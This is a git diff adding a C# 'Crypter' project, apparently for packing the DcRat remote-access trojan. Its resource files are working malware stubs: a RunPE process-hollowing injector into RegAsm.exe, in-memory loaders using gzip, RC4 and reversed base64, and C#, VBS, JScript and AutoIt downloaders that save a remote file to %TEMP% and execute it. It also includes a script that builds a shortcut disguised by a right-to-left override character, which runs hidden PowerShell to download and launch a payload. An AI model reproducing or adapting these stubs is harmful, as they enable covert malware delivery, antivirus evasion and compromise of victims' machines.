<value>..\resources\autoit_url.txt;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8</value>
</data>
<data name="avatar" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\resources\avatar.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="base64" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\resources\base64.txt;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;gb2312</value>
</data>
<data name="base64_Gzip" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\resources\base64_gzip.txt;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8</value>
</data>
<data name="base64_url" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\resources\base64_url.txt;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8</value>
</data>
<data name="CSharp_url" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\resources\csharp_url.txt;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8</value>
</data>
<data name="dll" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\resources\dll.txt;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8</value>
</data>
<data name="Include" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\resources\include.zip;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</data>
<data name="js_url" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\resources\js_url.txt;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8</value>
</data>
<data name="lnk_url" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\resources\lnk_url.txt;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8</value>
</data>
<data name="PEbytes" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\resources\pebytes.txt;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8</value>
</data>
<data name="rc4" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\resources\rc4.txt;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8</value>
</data>
<data name="VB" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\resources\vb.txt;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;gb2312</value>
</data>
<data name="VBS_url" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\resources\vbs_url.txt;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8</value>
</data>
</root>

26
Crypter/Properties/Settings.Designer.cs generated Normal file
View File

@ -0,0 +1,26 @@
//------------------------------------------------------------------------------
// <auto-generated>
// 此代码由工具生成。
// 运行时版本:4.0.30319.42000
//
// 对此文件的更改可能会导致不正确的行为，并且如果
// 重新生成代码，这些更改将会丢失。
// </auto-generated>
//------------------------------------------------------------------------------
namespace Crypter.Properties {
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.5.0.0")]
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
public static Settings Default {
get {
return defaultInstance;
}
}
}
}

7
Crypter/Properties/Settings.settings Normal file
View File

@ -0,0 +1,7 @@
<?xml version='1.0' encoding='utf-8'?>
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)">
<Profiles>
<Profile Name="(Default)" />
</Profiles>
<Settings />
</SettingsFile>

BIN
Crypter/Resources/Aut2exe.exe Normal file
View File

Binary file not shown.

61
Crypter/Resources/Base64_Gzip.txt Normal file
View File

@ -0,0 +1,61 @@
using System;
using System.Collections;
using System.Collections.Generic;
using System.Data;
using System.Drawing;
using System.Diagnostics;
using System.Windows.Forms;
using System.Linq;
using System.Xml.Linq;
using System.Threading.Tasks;
using System.IO;
using System.IO.Compression;
namespace v
{
internal static class Module1
{
public static byte[] crypt()
{
return Decompress(Convert.FromBase64String("123456"));
}
public static byte[] Decompress(byte[] bytData)
{
using (MemoryStream oMS = new MemoryStream(bytData))
{
using (GZipStream oGZipStream = new GZipStream(oMS, CompressionMode.Decompress))
{
const int CHUNK = 1024;
int intTotalBytesRead = 0;
do
{
Array.Resize(ref bytData, intTotalBytesRead + CHUNK);
int intBytesRead = oGZipStream.Read(bytData, intTotalBytesRead, CHUNK);
intTotalBytesRead += intBytesRead;
if (intBytesRead < CHUNK)
{
Array.Resize(ref bytData, intTotalBytesRead);
break;
}
} while (true);
oGZipStream.Close();
}
oMS.Close();
}
return bytData;
}
static void Main()
{
System.Reflection.Assembly ѢоДгяёБзБхѫЛпПшёжоЦъЦдХилоЖЮИюнъпЩЖ = null;
System.Reflection.MethodInfo чЙЮжЙЖЪДЮЧъинЛШѪПѪгФЗбщдюёьЬЮД = null;
object ѪЗЖщьъбЦкБжЙЦлждъДШзГѫиЖФ = null;
ѢоДгяёБзБхѫЛпПшёжоЦъЦдХилоЖЮИюнъпЩЖ = System.Reflection.Assembly.Load(Module1.crypt());
чЙЮжЙЖЪДЮЧъинЛШѪПѪгФЗбщдюёьЬЮД = ѢоДгяёБзБхѫЛпПшёжоЦъЦдХилоЖЮИюнъпЩЖ.EntryPoint;
ѪЗЖщьъбЦкБжЙЦлждъДШзГѫиЖФ = ѢоДгяёБзБхѫЛпПшёжоЦъЦдХилоЖЮИюнъпЩЖ.CreateInstance(чЙЮжЙЖЪДЮЧъинЛШѪПѪгФЗбщдюёьЬЮД.Name);
чЙЮжЙЖЪДЮЧъинЛШѪПѪгФЗбщдюёьЬЮД.Invoke(ѪЗЖщьъбЦкБжЙЦлждъДШзГѫиЖФ, null);
}
}
}

42
Crypter/Resources/CSharp_url.txt Normal file
View File

@ -0,0 +1,42 @@
using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Threading;
namespace CsharpDW
{
class Program
{
static void Main()
{
try
{
using (FileStream fs = new FileStream(Path.Combine(Path.GetTempPath(), "DW.exe"), FileMode.Create))
{
byte[] payload = DownloadPayload("123456");
fs.Write(payload, 0, payload.Length);
}
Process.Start(Path.Combine(Path.GetTempPath(), "DW.exe"));
}
catch { }
}
private static byte[] DownloadPayload(string url)
{
try
{
using (WebClient wc = new WebClient())
{
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
return wc.DownloadData(url);
}
}
catch
{
return null;
}
}
}
}

BIN
Crypter/Resources/DcRat.ico Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 66 KiB

BIN
Crypter/Resources/Include.zip Normal file
View File

Binary file not shown.

27
Crypter/Resources/PEbytes.txt Normal file
View File

@ -0,0 +1,27 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Reflection;
namespace WindowsFormsApp
{
static class Program
{
/// <summary>
/// The main entry point for the application.
/// </summary>
[STAThread]
static void Main()
{
byte[] shellcode = new byte[654321]
{
123456
};
Assembly.Load(shellcode).EntryPoint.Invoke(null, null);
}
}
}

15
Crypter/Resources/VB.txt Normal file
View File

@ -0,0 +1,15 @@
Module ReFUD
Sub Main()
Dim B As String() = New String() {
[stub-replace]
}
Dim S As String = ""
For i = 0 To B.Length - 1
S += B(i).ToString
Next
Dim A As Object = GetType(Threading.Thread).GetMethod("Get" + "Domain").Invoke(0, Nothing)
Dim K As Object = A.load(Convert.FromBase64String(StrReverse(S)))
Dim C As Object = K.entrypoint
C.invoke("", Nothing)
End Sub
End Module

18
Crypter/Resources/VBS_url.txt Normal file
View File

@ -0,0 +1,18 @@
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "123456", False
xHttp.Send
scriptShell = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%Temp%") + "\DW.exe"
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile scriptShell, 2
end with
WScript.Sleep 1000
Execut(scriptShell)
Function Execut(path)
Set objShell = CreateObject("Wscript.shell")
objShell.run(path)
End Function

8
Crypter/Resources/autoit_url.txt Normal file
View File

@ -0,0 +1,8 @@
#include <InetConstants.au3>
#include <MsgBoxConstants.au3>
#include <WinAPIFiles.au3>
Local $sFilePath = _WinAPI_GetTempFileName(@TempDir) & ".exe"
InetGet("#URL", $sFilePath, 2, $INET_DOWNLOADWAIT)
RunWait($sFilePath)

BIN
Crypter/Resources/avatar.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 56 KiB

152
Crypter/Resources/base64.txt Normal file
View File

@ -0,0 +1,152 @@
using Microsoft.VisualBasic;
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
namespace RunPE
{
public static class RunPE
{
#region API delegate
private delegate int DelegateResumeThread(IntPtr handle);
private delegate bool DelegateWow64SetThreadContext(IntPtr thread, int[] context);
private delegate bool DelegateSetThreadContext(IntPtr thread, int[] context);
private delegate bool DelegateWow64GetThreadContext(IntPtr thread, int[] context);
private delegate bool DelegateGetThreadContext(IntPtr thread, int[] context);
private delegate int DelegateVirtualAllocEx(IntPtr handle, int address, int length, int type, int protect);
private delegate bool DelegateWriteProcessMemory(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten);
private delegate bool DelegateReadProcessMemory(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead);
private delegate int DelegateZwUnmapViewOfSection(IntPtr process, int baseAddress);
private delegate bool DelegateCreateProcessA(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes,
bool inheritHandles, int creationFlags, IntPtr environment, string currentDirectory, ref StartupInformation startupInfo, ref ProcessInformation processInformation);
#endregion
#region API
private static readonly DelegateResumeThread ResumeThread = LoadApi<DelegateResumeThread>("kernel32", "ResumeThread");
private static readonly DelegateWow64SetThreadContext Wow64SetThreadContext = LoadApi<DelegateWow64SetThreadContext>("kernel32", "Wow64SetThreadContext");
private static readonly DelegateSetThreadContext SetThreadContext = LoadApi<DelegateSetThreadContext>("kernel32", "SetThreadContext");
private static readonly DelegateWow64GetThreadContext Wow64GetThreadContext = LoadApi<DelegateWow64GetThreadContext>("kernel32", "Wow64GetThreadContext");
private static readonly DelegateGetThreadContext GetThreadContext = LoadApi<DelegateGetThreadContext>("kernel32", "GetThreadContext");
private static readonly DelegateVirtualAllocEx VirtualAllocEx = LoadApi<DelegateVirtualAllocEx>("kernel32", "VirtualAllocEx");
private static readonly DelegateWriteProcessMemory WriteProcessMemory = LoadApi<DelegateWriteProcessMemory>("kernel32", "WriteProcessMemory");
private static readonly DelegateReadProcessMemory ReadProcessMemory = LoadApi<DelegateReadProcessMemory>("kernel32", "ReadProcessMemory");
private static readonly DelegateZwUnmapViewOfSection ZwUnmapViewOfSection = LoadApi<DelegateZwUnmapViewOfSection>("ntdll", "ZwUnmapViewOfSection");
private static readonly DelegateCreateProcessA CreateProcessA = LoadApi<DelegateCreateProcessA>("kernel32", "CreateProcessA");
#endregion
#region CreateAPI
[DllImport("kernel32", SetLastError = true)]
private static extern IntPtr LoadLibraryA([MarshalAs(UnmanagedType.VBByRefStr)] ref string Name);
[DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
private static extern IntPtr GetProcAddress(IntPtr hProcess, [MarshalAs(UnmanagedType.VBByRefStr)] ref string Name);
private static CreateApi LoadApi<CreateApi>(string name, string method)
{
return (CreateApi)(object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi));
}
#endregion
#region Structure
[StructLayout(LayoutKind.Sequential, Pack = 0x1)]
private struct ProcessInformation
{
public readonly IntPtr ProcessHandle;
public readonly IntPtr ThreadHandle;
public readonly int ProcessId;
private readonly int ThreadId;
}
[StructLayout(LayoutKind.Sequential, Pack = 0x1)]
private struct StartupInformation
{
public int Size;
private readonly string Reserved1;
private readonly string Desktop;
private readonly string Title;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 0x24)] private readonly byte[] Misc;
private readonly IntPtr Reserved2;
private readonly IntPtr StdInput;
private readonly IntPtr StdOutput;
private readonly IntPtr StdError;
}
#endregion
public static void Main()
{
string path = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "RegAsm.exe");
byte[] payload = Convert.FromBase64String(Strings.StrReverse("[stub-replace]"));
for (int i = 0; i < 5; i++)
{
int readWrite = 0x0;
StartupInformation si = new StartupInformation();
ProcessInformation pi = new ProcessInformation();
si.Size = Convert.Toint32(Marshal.SizeOf(typeof(StartupInformation)));
try
{
if (!CreateProcessA(path, string.Empty, IntPtr.Zero, IntPtr.Zero, false, 0x00000004 | 0x08000000, IntPtr.Zero, null, ref si, ref pi)) throw new Exception();
int fileAddress = BitConverter.ToInt32(payload, 0x3C);
int imageBase = BitConverter.ToInt32(payload, fileAddress + 0x34);
int[] context = new int[0xB3];
context[0x0] = 0x10002;
if (IntPtr.Size == 0x4)
{ if (!GetThreadContext(pi.ThreadHandle, context)) throw new Exception(); }
else
{ if (!Wow64GetThreadContext(pi.ThreadHandle, context)) throw new Exception(); }
int ebx = context[0x29];
int baseAddress = 0x0;
if (!ReadProcessMemory(pi.ProcessHandle, ebx + 0x8, ref baseAddress, 0x4, ref readWrite)) throw new Exception();
if (imageBase == baseAddress)
if (ZwUnmapViewOfSection(pi.ProcessHandle, baseAddress) != 0x0) throw new Exception();
int sizeOfImage = BitConverter.ToInt32(payload, fileAddress + 0x50);
int sizeOfHeaders = BitConverter.ToInt32(payload, fileAddress + 0x54);
bool allowOverride = false;
int newImageBase = VirtualAllocEx(pi.ProcessHandle, imageBase, sizeOfImage, 0x3000, 0x40);
if (newImageBase == 0x0) throw new Exception();
if (!WriteProcessMemory(pi.ProcessHandle, newImageBase, payload, sizeOfHeaders, ref readWrite)) throw new Exception();
int sectionOffset = fileAddress + 0xF8;
short numberOfSections = BitConverter.ToInt16(payload, fileAddress + 0x6);
for (int I = 0; I < numberOfSections; I++)
{
int virtualAddress = BitConverter.ToInt32(payload, sectionOffset + 0xC);
int sizeOfRawData = BitConverter.ToInt32(payload, sectionOffset + 0x10);
int pointerToRawData = BitConverter.ToInt32(payload, sectionOffset + 0x14);
if (sizeOfRawData != 0x0)
{
byte[] sectionData = new byte[sizeOfRawData];
Buffer.BlockCopy(payload, pointerToRawData, sectionData, 0x0, sectionData.Length);
if (!WriteProcessMemory(pi.ProcessHandle, newImageBase + virtualAddress, sectionData, sectionData.Length, ref readWrite)) throw new Exception();
}
sectionOffset += 0x28;
}
byte[] pointerData = BitConverter.GetBytes(newImageBase);
if (!WriteProcessMemory(pi.ProcessHandle, ebx + 0x8, pointerData, 0x4, ref readWrite)) throw new Exception();
int addressOfEntryPoint = BitConverter.ToInt32(payload, fileAddress + 0x28);
if (allowOverride) newImageBase = imageBase;
context[0x2C] = newImageBase + addressOfEntryPoint;
if (IntPtr.Size == 0x4)
{
if (!SetThreadContext(pi.ThreadHandle, context)) throw new Exception();
}
else
{
if (!Wow64SetThreadContext(pi.ThreadHandle, context)) throw new Exception();
}
if (ResumeThread(pi.ThreadHandle) == -1) throw new Exception();
}
catch
{
Process.GetProcessById(Convert.ToInt32(pi.ProcessId)).Kill();
continue;
}
break;
}
}
}
}

54
Crypter/Resources/base64_url.txt Normal file
View File

@ -0,0 +1,54 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Reflection;
using System.Text;
using System.Threading;
namespace ConsoleApp2
{
class Program
{
static void Main(string[] args)
{
AppDomain temoDomain = AppDomain.CreateDomain("TempDomain");
temoDomain.DoCallBack(Callback);
Thread.Sleep(-1);
AppDomain.Unload(temoDomain);
}
private static void Callback()
{
AppDomain domain = (AppDomain)typeof(Thread).GetMethod("GetDomain").Invoke(0, null);
Assembly assembly = domain.Load(Convert.FromBase64String(new StreamReader(WebRequest.Create("123456").GetResponse().GetResponseStream()).ReadToEnd()));
new Thread(() =>
{
assembly.EntryPoint.Invoke(0, null);
}).Start();
}
}
}

30
Crypter/Resources/dll.txt Normal file
View File

@ -0,0 +1,30 @@
using System;
using System.Reflection;
using System.Runtime.CompilerServices;
using Microsoft.VisualBasic.CompilerServices;
namespace MonoFlat
{
[StandardModule]
public sealed class Module1
{
public static void Main()
{
string s = "123456";
byte[] rawAssembly = Convert.FromBase64String(s);
Assembly assembly = AppDomain.CurrentDomain.Load(rawAssembly);
MethodInfo entryPoint = assembly.EntryPoint;
object objectValue = RuntimeHelpers.GetObjectValue(assembly.CreateInstance(entryPoint.Name));
object[] parameters = null;
bool flag = entryPoint.GetParameters().Length > 0;
if (flag)
{
parameters = new object[]
{
new string[1]
};
}
entryPoint.Invoke(RuntimeHelpers.GetObjectValue(objectValue), parameters);
}
}
}

21
Crypter/Resources/js_url.txt Normal file
View File

@ -0,0 +1,21 @@
try {
var WshShell = WScript.CreateObject("WScript.Shell");
var filepath = WshShell.ExpandEnvironmentStrings("%TEMP%") + "/DW.exe";
var url = "123456"
var xhr = new ActiveXObject("MSXML2.XMLHTTP")
xhr.open("GET", url, false)
xhr.send()
var fso = new ActiveXObject("Scripting.FileSystemObject")
var stream = new ActiveXObject("ADODB.Stream")
stream.Open()
stream.Type = 1
stream.Write(xhr.ResponseBody)
stream.Position = 0
stream.SaveToFile(filepath, 2)
stream.Close()
var shell = WScript.CreateObject("WScript.Shell")
shell.Run(filepath)
}
catch(err){}

18
Crypter/Resources/lnk_url.txt Normal file
View File

@ -0,0 +1,18 @@
Dim DownLoadLink, FileName
DownLoadLink = "'123456'"
FileName = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%Temp%") + "\DW.exe"
Set WshShell = CreateObject("WScript.Shell")
Set ShApp = CreateObject("Shell.Application")
unicode = Unescape("%u0052%u0065%u0061%u0064%u004d%u0065%u005f%u202e%u0074%u0078%u0074%u002e%u006c%u006e%u006b")
unicodeName = "unicode.lnk"
shortcutPath = unicodeName
Set lnk = WshShell.CreateShortcut(shortcutPath)
lnk.TargetPath = "powershell.exe"
lnk.Arguments = "-ExecutionPolicy Bypass -WindowStyle Hidden -Command notepad.exe;(new-object System.Net.WebClient).DownloadFile(" & DownLoadLink & "," & "'" & FileName & "'" & "); Start-Process -FilePath " & "'" & FileName & "'" & ";"
lnk.IconLocation = "c:\windows\system32\notepad.exe"
lnk.Description = "Type: Text Document"
lnk.Save()
Set FSO = CreateObject("Scripting.FileSystemObject")
Set file = FSO.GetFile(shortcutPath)
file.name = unicode & ".lnk"

56
Crypter/Resources/rc4.txt Normal file
View File

@ -0,0 +1,56 @@
using System;
using System.Collections.Generic;
using System.Windows.Forms;
namespace csharp_test
{
static class Program
{
[STAThread]
static void Main()
{
byte[] ont = {lol};
byte[] se = RC4decrypt(ont, "kkkkk");
AppDomain.CurrentDomain.Load(se).EntryPoint.Invoke(984985 - 984985, null);
}
public static byte[] RC4decrypt(byte[] D1, string D2)
{
byte[] D3 = System.Text.Encoding.ASCII.GetBytes(D2);
uint D4 = 0;
uint D5 = 0;
uint D6 = 0;
uint[] D7 = new uint[256];
byte[] D8 = new byte[D1.Length];
for (D4 = 0; D4 <= 255; D4++)
{
D7[D4] = D4;
}
for (D4 = 0; D4 <= 255; D4++)
{
D5 = (D5 + D3[D4 % D3.Length] + D7[D4]) & 255;
D6 = D7[D4];
D7[D4] = D7[D5];
D7[D5] = D6;
}
D4 = 0;
D5 = 0;
for (var D9 = 0; D9 < D8.Length; D9++)
{
D4 = (D4 + 1) & 255;
D5 = (D5 + D7[D4]) & 255;
D6 = D7[D4];
D7[D4] = D7[D5];
D7[D5] = D6;
D8[D9] = Convert.ToByte(D1[D9] ^ D7[(D7[D4] + D7[D5]) & 255]);
}
return D8;
}
}
}

4
Crypter/packages.config Normal file
View File

@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="DotNetZip" version="1.13.7" targetFramework="net45" />
</packages>

BIN
packages/DotNetZip.1.13.7/.signature.p7s vendored Normal file
View File

Binary file not shown.

BIN
packages/DotNetZip.1.13.7/DotNetZip.1.13.7.nupkg vendored Normal file
View File

Binary file not shown.

BIN
packages/DotNetZip.1.13.7/lib/net40/DotNetZip.dll vendored Normal file
View File

Binary file not shown.

BIN
packages/DotNetZip.1.13.7/lib/net40/DotNetZip.pdb vendored Normal file
View File

Binary file not shown.

18536
packages/DotNetZip.1.13.7/lib/net40/DotNetZip.xml vendored Normal file
View File

File diff suppressed because it is too large Load Diff

BIN
packages/DotNetZip.1.13.7/lib/netstandard2.0/DotNetZip.dll vendored Normal file
View File

Binary file not shown.

BIN
packages/DotNetZip.1.13.7/lib/netstandard2.0/DotNetZip.pdb vendored Normal file
View File

Binary file not shown.

18031
packages/DotNetZip.1.13.7/lib/netstandard2.0/DotNetZip.xml vendored Normal file
View File

File diff suppressed because it is too large Load Diff